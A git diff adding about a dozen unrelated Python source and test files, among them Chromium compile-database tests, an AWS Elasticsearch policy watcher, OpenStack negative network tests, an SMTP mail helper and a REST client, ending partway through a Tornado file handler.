0000000000000000000000000000000000000000..06b7e43ef8e7596c4a554dcb86abb6a15014cc51 --- /dev/null +++ b/pool/shard008/Python/0077049_compile_db_test.py @@ -0,0 +1,136 @@ +#!/usr/bin/env vpython +# Copyright 2019 The Chromium Authors. All rights reserved. +# Use of this source code is governed by a BSD-style license that can be +# found in the LICENSE file. + + +"""Tests for compile_db.""" + +import sys +import unittest + +import compile_db + + +# Input compile DB. +_TEST_COMPILE_DB = [ + # Verifies that gomacc.exe is removed. + { + 'command': r'C:\gomacc.exe C:\clang-cl.exe /blah', + }, + # Verifies a goma path containing a space. + { + 'command': r'"C:\Program Files\gomacc.exe" C:\clang-cl.exe /blah', + }, + # Includes a string define. + { + 'command': r'clang-cl.exe /blah "-DCR_CLANG_REVISION=\"346388-1\""', + }, + # Includes a string define with a space in it. + { + 'command': r'clang-cl.exe /blah -D"MY_DEFINE=\"MY VALUE\""', + }, +] + +# Expected compile DB after processing for windows. +_EXPECTED_COMPILE_DB = [ + { + 'command': r'C:\clang-cl.exe --driver-mode=cl /blah', + }, + { + 'command': r'C:\clang-cl.exe --driver-mode=cl /blah', + }, + { + 'command': r'clang-cl.exe --driver-mode=cl /blah ' + r'"-DCR_CLANG_REVISION=\"346388-1\""', + }, + { + 'command': r'clang-cl.exe --driver-mode=cl /blah ' + r'-D"MY_DEFINE=\"MY VALUE\""', + }, +] + + +class CompileDbTest(unittest.TestCase): + + def setUp(self): + self.maxDiff = None + + def testProcessNotOnWindows(self): + sys.platform = 'linux2' + processed_compile_db = compile_db.ProcessCompileDatabase( + _TEST_COMPILE_DB, []) + + # Assert no changes were made. + try: + # assertItemsEqual is renamed assertCountEqual in Python3. + self.assertCountEqual(processed_compile_db, _TEST_COMPILE_DB) + except AttributeError: + self.assertItemsEqual(processed_compile_db, _TEST_COMPILE_DB) + + def testProcessForWindows_HostPlatformBased(self): + sys.platform = 'win32' + processed_compile_db = compile_db.ProcessCompileDatabase( + _TEST_COMPILE_DB, []) + + # Check each entry individually to improve readability of the output. + for actual, expected in zip(processed_compile_db, _EXPECTED_COMPILE_DB): + self.assertDictEqual(actual, expected) + + def testProcessForWindows_TargetOsBased(self): + sys.platform = 'linux2' + processed_compile_db = compile_db.ProcessCompileDatabase(_TEST_COMPILE_DB, + [], + target_os='win') + + # Check each entry individually to improve readability of the output. + for actual, expected in zip(processed_compile_db, _EXPECTED_COMPILE_DB): + self.assertDictEqual(actual, expected) + + def testFrontendArgsFiltered(self): + sys.platform = 'linux2' + input_db = [{ + 'command': + r'clang -g -Xclang -fuse-ctor-homing -funroll-loops test.cc' + }] + self.assertEquals(compile_db.ProcessCompileDatabase(input_db, []), + [{ + 'command': r'clang -g -funroll-loops test.cc' + }]) + + def testGomaccPathFiltered(self): + sys.platform = 'linux2' + input_db = [{ + 'command': + r'clang -g --gomacc-path /path/to/gomacc -funroll-loops test.cc' + }] + self.assertEquals(compile_db.ProcessCompileDatabase(input_db, []), + [{ + 'command': r'clang -g -funroll-loops test.cc' + }]) + + def testProfileSampleUseFiltered(self): + sys.platform = 'linux2' + input_db = [{ + 'command': + r'clang -g -fprofile-sample-use=../path/to.prof -funroll-loops test.cc' + }] + self.assertEquals(compile_db.ProcessCompileDatabase(input_db, []), + [{ + 'command': r'clang -g -funroll-loops test.cc' + }]) + + def testFilterArgs(self): + sys.platform = 'linux2' + input_db = [{'command': r'clang -g -ffile-compilation-dir=. -O3 test.cc'}] + self.assertEquals( + compile_db.ProcessCompileDatabase( + input_db, + ['-ffile-compilation-dir=.', '-frandom-flag-that-does-not-exist']), + [{ + 'command': r'clang -g -O3 test.cc' + }]) + + +if __name__ == '__main__': + unittest.main() diff --git a/pool/shard008/Python/0077052_elasticsearch_service.py b/pool/shard008/Python/0077052_elasticsearch_service.py new file mode 100644 index 0000000000000000000000000000000000000000..f0c013df1837542af927b8c1b2a68bc74fb00bc9 --- /dev/null +++ b/pool/shard008/Python/0077052_elasticsearch_service.py @@ -0,0 +1,119 @@ +# Copyright 2015 Netflix, Inc. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +""" +.. module: security_monkey.watchers.keypair + :platform: Unix + +.. version:: $$VERSION$$ +.. moduleauthor:: Mike Grima + +""" +import json + +from security_monkey.decorators import record_exception +from security_monkey.decorators import iter_account_region +from security_monkey.watcher import Watcher, ChangeItem +from security_monkey.datastore import Account +from security_monkey import app, ARN_PREFIX + + +class ElasticSearchService(Watcher): + index = 'elasticsearchservice' + i_am_singular = 'ElasticSearch Service Access Policy' + i_am_plural = 'ElasticSearch Service Access Policies' + + def __init__(self, accounts=None, debug=False): + super(ElasticSearchService, self).__init__(accounts=accounts, debug=debug) + + def slurp(self): + """ + :returns: item_list - list of ElasticSearchService Items + :return: exception_map - A dict where the keys are a tuple containing the + location of the exception and the value is the actual exception + + """ + self.prep_for_slurp() + + @iter_account_region(index=self.index, accounts=self.accounts, service_name='es') + def slurp_items(**kwargs): + item_list = [] + exception_map = {} + kwargs['exception_map'] = exception_map + + account_db = Account.query.filter(Account.name == kwargs['account_name']).first() + account_num = account_db.identifier + + es_info = self.get_all_es_domains_in_region(**kwargs) + if es_info is None: + return item_list, exception_map + (client, domains) = es_info + + app.logger.debug("Found {} {}".format(len(domains), ElasticSearchService.i_am_plural)) + for domain in domains: + if self.check_ignore_list(domain["DomainName"]): + continue + + # Fetch the policy: + item = self.build_item(domain["DomainName"], client, account_num, **kwargs) + + if item: + item_list.append(item) + + return item_list, exception_map + return slurp_items() + + @record_exception(source='{index}-watcher'.format(index=index), pop_exception_fields=False) + def get_all_es_domains_in_region(self, **kwargs): + from security_monkey.common.sts_connect import connect + client = connect(kwargs['account_name'], "boto3.es.client", region=kwargs['region']) + app.logger.debug("Checking {}/{}/{}".format(ElasticSearchService.index, kwargs['account_name'], kwargs['region'])) + # No need to paginate according to: client.can_paginate("list_domain_names") + domains = self.wrap_aws_rate_limited_call(client.list_domain_names)["DomainNames"] + + return client, domains + + @record_exception(source='{index}-watcher'.format(index=index), pop_exception_fields=False) + def build_item(self, domain, client, account_num, **kwargs): + arn = ARN_PREFIX + ':es:{region}:{account_number}:domain/{domain_name}'.format( + region=kwargs['region'], + account_number=account_num, + domain_name=domain) + + config = { + 'arn': arn + } + + domain_config = self.wrap_aws_rate_limited_call(client.describe_elasticsearch_domain_config, + DomainName=domain) + # Does the cluster have a policy? + if domain_config["DomainConfig"]["AccessPolicies"]["Options"] == "": + config['policy'] = {} + else: + config['policy'] = json.loads(domain_config["DomainConfig"]["AccessPolicies"]["Options"]) + config['name'] = domain + + return ElasticSearchServiceItem(region=kwargs['region'], account=kwargs['account_name'], name=domain, arn=arn, + config=config, source_watcher=self) + + +class ElasticSearchServiceItem(ChangeItem): + def __init__(self, region=None, account=None, name=None, arn=None, config=None, source_watcher=None): + super(ElasticSearchServiceItem, self).__init__( + index=ElasticSearchService.index, + region=region, + account=account, + name=name, + arn=arn, + new_config=config if config else {}, + source_watcher=source_watcher) diff --git a/pool/shard008/Python/0077054_load_config.py b/pool/shard008/Python/0077054_load_config.py new file mode 100644 index 0000000000000000000000000000000000000000..807eccb75b80e12150b9245070f75347d63e0e3c --- /dev/null +++ b/pool/shard008/Python/0077054_load_config.py @@ -0,0 +1,28 @@ +# -*- coding: utf-8 -*- + +""" global conf """ + +import toml + +from singleton import Singleton + +class LoadConfig(object): + """ conf """ + + __metaclass__ = Singleton + + def __init__(self, conf_file=""): + + with open(conf_file) as confh: + self.config = toml.loads(confh.read()) + +def test(): + + filename = "config.toml" + + conf = Config(filename).config["app"] + + print conf + +if __name__ == '__main__': + test() diff --git a/pool/shard008/Python/0077057_test_graphs.py b/pool/shard008/Python/0077057_test_graphs.py new file mode 100644 index 0000000000000000000000000000000000000000..fc4aeb9f443aa72017faf1bd13df0748db1a2ccf --- /dev/null +++ b/pool/shard008/Python/0077057_test_graphs.py @@ -0,0 +1,135 @@ +import unittest +import os +import logging # https://docs.python.org/2/library/logging.html#logging-levels +import glob + +from api import * +from parsers import * + +schema_path = './data/schema.rdfa' +examples_path = './data/examples.txt' + +andstr = "\n AND\n " +TYPECOUNT_UPPERBOUND = 1000 +TYPECOUNT_LOWERBOUND = 500 + +logging.basicConfig(level=logging.INFO) +log = logging.getLogger(__name__) + +# Tests to probe the health of both schemas and code using graph libraries in rdflib +# Note that known failings can be annotated with @unittest.expectedFailure or @skip("reason...") + + +class SDOGraphSetupTestCase(unittest.TestCase): + + + @classmethod + def parseRDFaFilesWithRDFLib(self): + """Parse data/*rdfa into a data object and an error object with rdflib. + We glob so that work-in-progress schemas can be stored separately. For + final publication, a single schema file is used. Note that this does + not yet load or test any extension schemas beneath data/ext/*.""" + + from rdflib import Graph + files = glob.glob("data/*.rdfa") + log.info("Found %s files via data/*rdfa." % len(files)) + self.rdflib_errors = Graph() + self.rdflib_data = Graph() + for f in files: + log.info("Files to parse: %s" % f ) + log.info("Parsing URL %s with rdflib RDFa parser. " % f) + self.rdflib_data.parse(f, format='rdfa', pgraph=self.rdflib_errors) + # log.info(self.rdflib_errors.serialize(format="nt")) + + @classmethod + def setUpClass(self): + log.info("Graph tests require rdflib.") + import unittest + try: + import rdflib + from rdflib import Graph + except: + raise unittest.SkipTest("Need rdflib installed to do graph tests.") + + read_schemas() # built-in parsers. + self.schemasInitialized = schemasInitialized + log.info("SDOGraphSetupTestCase reading schemas using built-in parsers.") + + log.info("Attempting to parse data/*rdfa with rdflib.") + SDOGraphSetupTestCase.parseRDFaFilesWithRDFLib() + + def test_schemasInitializedForGraph(self): + self.assertEqual(self.schemasInitialized,True, "Schemas should be initialized during setup, so we can load them into a graph for testing.") + + def test_rdflib_happy(self): + self.assertEqual(len(self.rdflib_errors)==0, True, "rdflib should have zero errors. %s" % self.rdflib_errors.serialize(format="nt")) + + # SPARQLResult http://rdflib.readthedocs.org/en/latest/apidocs/rdflib.plugins.sparql.html + # "A list of dicts (solution mappings) is returned" + + def test_found_sixplus_inverseOf(self): + inverseOf_results = self.rdflib_data.query("select ?x ?y where { ?x ?y }") + log.info("inverseOf result count: %s" % len(inverseOf_results ) ) + self.assertEqual(len(inverseOf_results ) >= 6, True, "Six or more inverseOf expected. Found: %s " % len(inverseOf_results ) ) + + def test_even_number_inverseOf(self): + inverseOf_results = self.rdflib_data.query("select ?x ?y where { ?x ?y }") + self.assertEqual(len(inverseOf_results ) % 2 == 0, True, "Even number of inverseOf triples expected. Found: %s " % len(inverseOf_results ) ) + + @unittest.expectedFailure # autos + def test_needlessDomainIncludes(self): + # check immediate subtypes don't declare same domainIncludes + # TODO: could we use property paths here to be more thorough? + # rdfs:subClassOf+ should work but seems not to. + ndi1= ("SELECT ?prop ?c1 ?c2 " + "WHERE { " + "?prop ?c1 ." + "?prop ?c2 ." + "?c1 rdfs:subClassOf ?c2 ." + "FILTER (?c1 != ?c2) ." + "}" + "ORDER BY ?prop ") + ndi1_results = self.rdflib_data.query(ndi1) + if (len(ndi1_results)>0): + for row in ndi1_results: + log.info(row) + self.assertEqual(len(ndi1_results), 0, "No subtype need redeclare a domainIncludes of its parents. Found: %s " % len(ndi1_results ) ) + + @unittest.expectedFailure # fails on valueReference: https://github.com/schemaorg/schemaorg/issues/468 + def test_needlessRangeIncludes(self): + # as above, but for range. We excuse URL as it is special, not best seen as a Text subtype. + # check immediate subtypes don't declare same domainIncludes + # TODO: could we use property paths here to be more thorough? + nri1= ("SELECT ?prop ?c1 ?c2 " + "WHERE { " + "?prop ?c1 ." + "?prop ?c2 ." + "?c1 rdfs:subClassOf ?c2 ." + "FILTER (?c1 != ?c2) ." + "FILTER (?c1 != ) ." + "}" + "ORDER BY ?prop ") + nri1_results = self.rdflib_data.query(nri1) + if (len(nri1_results)>0): + log.info("property, class1, [which is subclassOf] class2:\n") + for row in nri1_results: + log.info(str(row)) + #print(str(row)) + self.assertEqual(len(nri1_results), 0, "No subtype need redeclare a rangeIncludes of its parents. Found: %s" % len(nri1_results) ) + + + # These are place-holders for more sophisticated SPARQL-expressed checks. + + @unittest.expectedFailure + def test_readSchemaFromRDFa(self): + self.assertTrue(True, False, "We should know how to locally get /docs/schema_org_rdfa.html but this requires fixes to api.py.") + +# TODO: Unwritten tests (from basics; easier here?) +# +# * different terms should not have identical comments +# * rdflib and internal parsers should have same number of triples +# * if x and y are inverseOf each other, the rangeIncludes types on x should be domainIncludes on y, and vice-versa. +# * need a few supporting functions e.g. all terms, all types, all properties, all enum values; candidates for api later but just use here first. + +if __name__ == "__main__": + unittest.main() diff --git a/pool/shard008/Python/0077059_nlp_ex1.py b/pool/shard008/Python/0077059_nlp_ex1.py new file mode 100644 index 0000000000000000000000000000000000000000..2516fba9021cef7f13937a1ae362341a9442bf79 --- /dev/null +++ b/pool/shard008/Python/0077059_nlp_ex1.py @@ -0,0 +1,49 @@ +import numpy as np +import math +import sys +import optwrapper as ow + +def objf( out, x ): + out[0] = x[1] + +def objg( out, x ): + out[:] = [ 0, 1 ] ## this line is *not* the same as 'out = [0,1]' + ## the latter replaces the pointer + +def consf( out, x ): + out[0] = 4*x[1]*x[1] - x[0] + out[1] = (x[0] - 2)*(x[0] - 2) + x[1]*x[1] + +def consg( out, x ): + out[0] = [ -1, 8*x[1] ] + out[1] = [ 2*(x[0]-2), 2*x[1] ] + +prob = ow.nlp.Problem( N=2, Ncons=2 ) +prob.consBox( [0, -10], [5, 2] ) + +prob.objFctn( objf ) +prob.objGrad( objg ) +prob.consFctn( consf, lb=[ -np.inf, -np.inf ], ub=[ 4, 5 ] ) +prob.consGrad( consg ) + +if( not prob.checkGrad( debug=True ) ): + sys.exit( "Gradient check failed." ) + +solver = ow.ipopt.Solver( prob ) ## change this line to use another solver +# solver.options["printFile"] = "stdout" + +print( "First run..." ) +solver.initPoint( [1.0, -2.0] ) +solver.solve() +print( prob.soln.getStatus() ) +print( "Value: " + str( prob.soln.value ) ) +print( "Final point: " + str( prob.soln.final ) ) +print( "Retval: " + str( prob.soln.retval ) ) + +solver.warmStart() +print( "\nSecond run..." ) +solver.solve() +print( prob.soln.getStatus() ) +print( "Value: " + str( prob.soln.value ) ) +print( "Final point: " + str( prob.soln.final ) ) +print( "Retval: " + str( prob.soln.retval ) ) diff --git a/pool/shard008/Python/0077062_object2json.py b/pool/shard008/Python/0077062_object2json.py new file mode 100644 index 0000000000000000000000000000000000000000..c8372fc6b90ce49e8d2c5792cb9570d6e5b114b8 --- /dev/null +++ b/pool/shard008/Python/0077062_object2json.py @@ -0,0 +1,60 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +# Copyright (C) 2018 David Arroyo Menéndez + +# Author: David Arroyo Menéndez +# Maintainer: David Arroyo Menéndez + +# This file is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 3, or (at your option) +# any later version. + +# This file is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +# You should have received a copy of the GNU General Public License +# along with GNU Emacs; see the file COPYING. If not, write to +# the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, +# Boston, MA 02110-1301 USA, + +import json + +class SimpleClass: + def __init__(self, a=None, b=None, c=None): + self.a = a + self.b = b + self.c = c + +def serialize_json(instance=None, path=None): + dt = {} + dt.update(vars(instance)) + + with open(path, "w") as file: + json.dump(dt, file) + +def deserialize_json(cls=None, path=None): + def read_json(_path): + with open(_path, "r") as file: + return json.load(file) + + data = read_json(path) + + instance = object.__new__(cls) + + for key, value in data.items(): + setattr(instance, key, value) + + return instance + +# Usage: Create class and serialize under Windows file system. +write_settings = SimpleClass(a=1, b=2, c=3) +serialize_json(write_settings, r"object.json") + +# Read back and rehydrate. +read_settings = deserialize_json(SimpleClass, r"object.json") + +print("The object is written in object.json") diff --git a/pool/shard008/Python/0077065_MailSender.py b/pool/shard008/Python/0077065_MailSender.py new file mode 100644 index 0000000000000000000000000000000000000000..43474d2f94a4d126b3ce329cb9d784f02e0774ae --- /dev/null +++ b/pool/shard008/Python/0077065_MailSender.py @@ -0,0 +1,62 @@ +#! /usr/bin/env python + +# Author: Urucas +# Version: 1.0.0 + +class MailSender(): + + _from, _to, _subject, _msg, _smtp = '', [], '', None, None + + def clear(self): + self._from = '' + self._to = [] + self._subject = '' + self._msg = None + + def validateMail(self, mail): + import re + regex_mail = re.compile(r"(?:^|\s)[-a-z0-9_.\+]+@(?:[-a-z0-9]+\.)+[a-z]{2,6}(?:\s|$)", re.IGNORECASE) + if re.match(regex_mail, mail): + return True + return None + + def setBody(self, body): + from email.mime.text import MIMEText + self._msg = MIMEText(body) + + def setBodyHTML(self, body): + from email.mime.text import MIMEText + self._msg = MIMEText(body, 'html') + + def setFrom(self, _from): + if(self.validateMail(_from) is None): raise Exception('MailSender.setFrom: _from param is not a valid email --> %s' % _from) + self._from = _from + + def setTo(self, _to): + if(self.validateMail(_to) is None): raise Exception('MailSender.setTo: _to param is not a valid email --> %s' % _to) + self._to.append(_to) + + def setSubject(self, _subject): + self._subject = _subject + + def opensmtp(self, email_account, pwd, log = False): + import smtplib + self._smtp = smtplib.SMTP('smtp.gmail.com', 587) + self._smtp.ehlo() + self._smtp.starttls() + self._smtp.ehlo() + self._smtp.login(email_account, pwd) + self._smtp.set_debuglevel(log) + + + def send(self): + if self._msg is None: raise Exception('MailSender.send: mail body not set') + if self._smtp is None: self.opensmtp() + self._msg['Subject'] = self._subject + self._msg['From'] = self._from + self._msg['To'] = ', '.join(self._to) + self._smtp.sendmail(self._from, self._to, self._msg.as_string()) + + def __del__(self): + self._smtp.quit() + diff --git a/pool/shard008/Python/0077066_badchannels_v2.py b/pool/shard008/Python/0077066_badchannels_v2.py new file mode 100644 index 0000000000000000000000000000000000000000..74b4fcf29eef573bdc2fc38475f3fdd1752dff3d --- /dev/null +++ b/pool/shard008/Python/0077066_badchannels_v2.py @@ -0,0 +1,89 @@ +# badchannels_v2.py +# +# Copyright 2011 dan collins +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, +# MA 02110-1301, USA. + + +'''initialize badchannel class + p = pdf.read('/path2data/e,rfhp1.0Hz,COH') + b = badchannels_v2.initialize(hz_range=[1,200]) +get the fft correlation coefficients from each channel and a family of channels within 25mm of that channel + b.builder(p,distance=25) + #then take a look at b.correl''' + +from meg import euclid +from numpy import median,corrcoef + +class initialize(): + def __init__(self, method='fft',comparison='proximity',hz_range=[4,50],threshold=.4): + '''method can be fft + neighboring channel pickup can be based on 'proximity' or 'neighbors' + eg + b = badchannels_v2.initialize(method='fft',comparison='proximity')''' + + self.method = method + self.comparison = comparison + self.hz_range = hz_range + self.threshold = threshold + print 'Using method of family channel comparison based on: '+ \ + comparison+' using '+method+' ,within freq range of '+str(hz_range)+ \ + ' with a threshold of '+str(threshold) + + def fft_method(self, data, srate, epochs): + from meg import fftmeg,nearest + '''fftmeg.calc(p.data.data_block, p.data.srate,epochs=p.data.numofepochs)''' + fftout = fftmeg.calc(data, srate,epochs=epochs) + cut_low = nearest.nearest(fftout.freq,self.hz_range[0])[0] + cut_high = nearest.nearest(fftout.freq,self.hz_range[1])[0] + self.result = fftout.pow[cut_low:cut_high] + + def proximity(self, channel_pos, distance_in_mm, picktype='median'): + proxind = euclid.get_proximity(channel_pos,channel_pos,distance_in_mm); + return proxind + + def builder(self, pdfobj, distance=None, neighbors=None): + '''initialize badchannel class + b = badchannels_v2.initialize() + #get the fft correlation coefficients from each channel and a family of channels within 25mm of that channel + b.builder(p,distance=25)''' + + if distance == None and neighbors == None: + print 'Error. You need to specify either distance=mm or number of neighbors (int)' + raise NameError('You need to specify either distance or neighbors. ex distance=20 or neighbors=5 for 20mm or 5 neighbor channels used') + + if self.method == 'fft':# and self.comparison == 'proximity': + print 'Using method fft' + self.fft_method(pdfobj.data.data_block,pdfobj.data.srate, epochs=pdfobj.data.numofepochs) + + if self.method == 'cross_correl': + self.result = pdfobj.data.data_block + + if self.comparison == 'proximity': + self.proxind = self.proximity(pdfobj.data.channels.chlpos,distance) + cc = {}; self.correlation_coef = [] + for i in self.proxind.keys(): + m = median(self.result[:,self.proxind[i]],axis=1) + cc[i] = corrcoef(self.result[:,i],m)[0,1] + self.correlation_coef.append(cc[i]) + self.badchannelindex = [] + for i in self.correlation_coef: + if i < self.threshold: + self.badchannelindex.append(self.correlation_coef.index(i)) + + +if __name__=='__main__': + pass diff --git a/pool/shard008/Python/0077068_test_networks_negative.py b/pool/shard008/Python/0077068_test_networks_negative.py new file mode 100644 index 0000000000000000000000000000000000000000..5dc1c2177a71f21b4ae212e51af5c214c3bfc277 --- /dev/null +++ b/pool/shard008/Python/0077068_test_networks_negative.py @@ -0,0 +1,94 @@ +# Copyright 2013 Huawei Technologies Co.,LTD. +# Copyright 2012 OpenStack Foundation +# All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. + +from tempest_lib import exceptions as lib_exc + +from tempest.api.network import base +from tempest.common.utils import data_utils +from tempest import test + + +class NetworksNegativeTestJSON(base.BaseNetworkTest): + + @test.attr(type=['negative']) + @test.idempotent_id('9293e937-824d-42d2-8d5b-e985ea67002a') + def test_show_non_existent_network(self): + non_exist_id = data_utils.rand_name('network') + self.assertRaises(lib_exc.NotFound, self.client.show_network, + non_exist_id) + + @test.attr(type=['negative']) + @test.idempotent_id('d746b40c-5e09-4043-99f7-cba1be8b70df') + def test_show_non_existent_subnet(self): + non_exist_id = data_utils.rand_name('subnet') + self.assertRaises(lib_exc.NotFound, self.client.show_subnet, + non_exist_id) + + @test.attr(type=['negative']) + @test.idempotent_id('a954861d-cbfd-44e8-b0a9-7fab111f235d') + def test_show_non_existent_port(self): + non_exist_id = data_utils.rand_name('port') + self.assertRaises(lib_exc.NotFound, self.client.show_port, + non_exist_id) + + @test.attr(type=['negative']) + @test.idempotent_id('98bfe4e3-574e-4012-8b17-b2647063de87') + def test_update_non_existent_network(self): + non_exist_id = data_utils.rand_name('network') + self.assertRaises(lib_exc.NotFound, self.client.update_network, + non_exist_id, name="new_name") + + @test.attr(type=['negative']) + @test.idempotent_id('03795047-4a94-4120-a0a1-bd376e36fd4e') + def test_delete_non_existent_network(self): + non_exist_id = data_utils.rand_name('network') + self.assertRaises(lib_exc.NotFound, self.client.delete_network, + non_exist_id) + + @test.attr(type=['negative']) + @test.idempotent_id('1cc47884-ac52-4415-a31c-e7ce5474a868') + def test_update_non_existent_subnet(self): + non_exist_id = data_utils.rand_uuid() + self.assertRaises(lib_exc.NotFound, self.client.update_subnet, + non_exist_id, name='new_name') + + @test.attr(type=['negative']) + @test.idempotent_id('a176c859-99fb-42ec-a208-8a85b552a239') + def test_delete_non_existent_subnet(self): + non_exist_id = data_utils.rand_uuid() + self.assertRaises(lib_exc.NotFound, + self.client.delete_subnet, non_exist_id) + + @test.attr(type=['negative']) + @test.idempotent_id('13d3b106-47e6-4b9b-8d53-dae947f092fe') + def test_create_port_on_non_existent_network(self): + non_exist_net_id = data_utils.rand_uuid() + self.assertRaises(lib_exc.NotFound, + self.client.create_port, network_id=non_exist_net_id) + + @test.attr(type=['negative']) + @test.idempotent_id('cf8eef21-4351-4f53-adcd-cc5cb1e76b92') + def test_update_non_existent_port(self): + non_exist_port_id = data_utils.rand_uuid() + self.assertRaises(lib_exc.NotFound, self.client.update_port, + non_exist_port_id, name='new_name') + + @test.attr(type=['negative']) + @test.idempotent_id('49ec2bbd-ac2e-46fd-8054-798e679ff894') + def test_delete_non_existent_port(self): + non_exist_port_id = data_utils.rand_uuid() + self.assertRaises(lib_exc.NotFound, + self.client.delete_port, non_exist_port_id) diff --git a/pool/shard008/Python/0077069_RestRequest.py b/pool/shard008/Python/0077069_RestRequest.py new file mode 100644 index 0000000000000000000000000000000000000000..b46b9633e7703f39793116d49df8695fbf1828ce --- /dev/null +++ b/pool/shard008/Python/0077069_RestRequest.py @@ -0,0 +1,225 @@ +from model import RestResource +import requests +import base64 +import logging + +logger = logging.getLogger(__name__) +logger.addHandler(logging.NullHandler()) + +HTTP_VERBS = ['delete', 'get', 'head', 'options', 'patch', 'post', 'put', + 'trace'] + +HTTP_STATUS_OK = 200 +HTTP_STATUS_CREATED = 201 +HTTP_STATUS_NO_CONTENT = 204 + +HTTP_HEADER_ACCEPT = 'accept' +HTTP_HEADER_CONTENT_TYPE = 'content-type' + + +class RestRequest: + """The class is the request to Documentum REST services""" + + def __init__(self, href): + """ + Initialize REST request + :param href: the request href + """ + self.href = href + self.verb = None + self.user = None + self.pwd = None + + self.params = None + self.data = None + self.files = None + + self.accept_type = None + self.content_type = None + + def __call__(self, data=None, files=None, params=None): + """ + Make RestRequest callable + :param data: data in request + :param files: files as contents + :param params: URL parameters + :return: + """ + self.data = data + self.files = files + self.params = params + return self.request() + + def auth(self, user, pwd): + """ + Fill authentication in request + :param user: user name + :param pwd: user password + :return: RestRequest instance + """ + self.user = user + self.pwd = pwd + return self + + def accept(self, media_type): + """ + Fill HTTP header accept + :param media_type: media type of HTTP header accept + :return: RestRequest instance + """ + self.accept_type = media_type + return self + + def as_(self, media_type): + """ + Fill HTTP header content-type + :param media_type: media type of HTTP header content-type + :return: RestRequest instance + """ + self.content_type = media_type + return self + + def __getattr__(self, name): + """ + Populate callable method name if it is HTTP method + :param name: callable method name + :return: RestRequest instance + """ + if self._is_verb(name): + self.verb = name + return self + else: + raise AttributeError(name) + + def prepare_headers(self): + """ + Prepare HTTP headers + :return: + """ + headers = self.get_basic_authn_header() + + if hasattr(self, 'content_type'): + headers.update(self._get_content_header()) + + if hasattr(self, 'accept_type'): + headers.update(self._get_accept_header()) + return headers + + def request(self): + """ + Run request + :return: + """ + logger.debug(' [%s <--> URI %s]' % (self.verb.upper(), self.href)) + headers = self.prepare_headers() + + if self._is_multipart_request(): + rsp = requests.request(self.verb, self.href, headers=headers, params=self.params, files=self.files) + else: + rsp = requests.request(self.verb, self.href, headers=headers, params=self.params, data=self.data) + + self.check_return_code(rsp) + return RestResponse(rsp) + + def get_basic_authn_header(self): + """ + Get basic authentication HTTP header + :return: + """ + if not self.user or not self.pwd: + raise ValueError('login name or password is invalid.') + + encoded_credential = base64.b64encode((self.user + ":" + self.pwd).encode("utf-8")) + return {"Authorization": "Basic " + encoded_credential.decode("utf-8")} + + def _get_content_header(self): + """ + Get HTTP content-type header + :return: content-type header + """ + if self._is_multipart_request(): + return {} + + if hasattr(self, 'content_type'): + return {HTTP_HEADER_CONTENT_TYPE: self.content_type} + + return {} + + def _is_multipart_request(self): + """ + Check if the request is multipart + :return: + """ + if self.files: + return True + else: + return False + + def _get_accept_header(self): + """ + Get HTTP header accept + :return: + """ + return {HTTP_HEADER_ACCEPT: self.accept_type} + + @staticmethod + def _is_verb(name): + """ + Check if the name is HTTP verb + :param name: + :return: + """ + return name in HTTP_VERBS + + def check_return_code(self, response): + """ + Check HTTP response code + :param response: + :return: + """ + code = response.status_code + logger.debug(' [Status code: %s]', str(code)) + + if self.verb == 'get' and not code == HTTP_STATUS_OK: + self._dump_error_info() + raise Exception(response.content) + + if self.verb == 'post' and not code == HTTP_STATUS_OK and not code == HTTP_STATUS_CREATED: + self._dump_error_info() + raise Exception(response.content) + + if self.verb == 'delete' and not code == HTTP_STATUS_NO_CONTENT: + self._dump_error_info() + raise Exception(response.content) + + logger.debug(' [Succeed]\n') + + def _dump_error_info(self): + logger.error('Exception caught during %s for link %s' % (self.verb, self.href)) + + +class RestResponse: + def __init__(self, response): + """ + REST response + :param response: HTTP response + """ + self.response = response + + def resource(self): + """ + Get the resource from HTTP response + :return: + """ + if len(self.response.content): + resource = RestResource.Resource(self.response.json()) + return resource + else: + return None + + def status(self): + """ + Get response code of REST response + :return: + """ + return self.response.status_code diff --git a/pool/shard008/Python/0077070_responsefromfile.py b/pool/shard008/Python/0077070_responsefromfile.py new file mode 100644 index 0000000000000000000000000000000000000000..59e8929daa6c9e995e77e779e95b2a21a90c86c7 --- /dev/null +++ b/pool/shard008/Python/0077070_responsefromfile.py @@ -0,0 +1,49 @@ +# Copyright (c) 2011,2013 Turbulenz Limited +from logging import getLogger + +# pylint: disable=F0401 +from tornado.web import RequestHandler +# pylint: enable=F0401 + +from os.path import join, relpath, pardir + +# pylint: disable=R0904,W0221,E1101 +class ResponseFromFileHandler(RequestHandler): + + log = getLogger('ResponseFromFileHandler') + + def __init__(self, application, request, **kwargs): + self.path = None + RequestHandler.__init__(self, application, request, **kwargs) + + def initialize(self, path): + self.path = path + + def get(self, file_path): + file_path = file_path.split("?")[0] + file_path = join(self.path, file_path) + + # check that the path is under the responses directory + if relpath(file_path, self.path)[:2] == pardir: + self.set_status(400) + 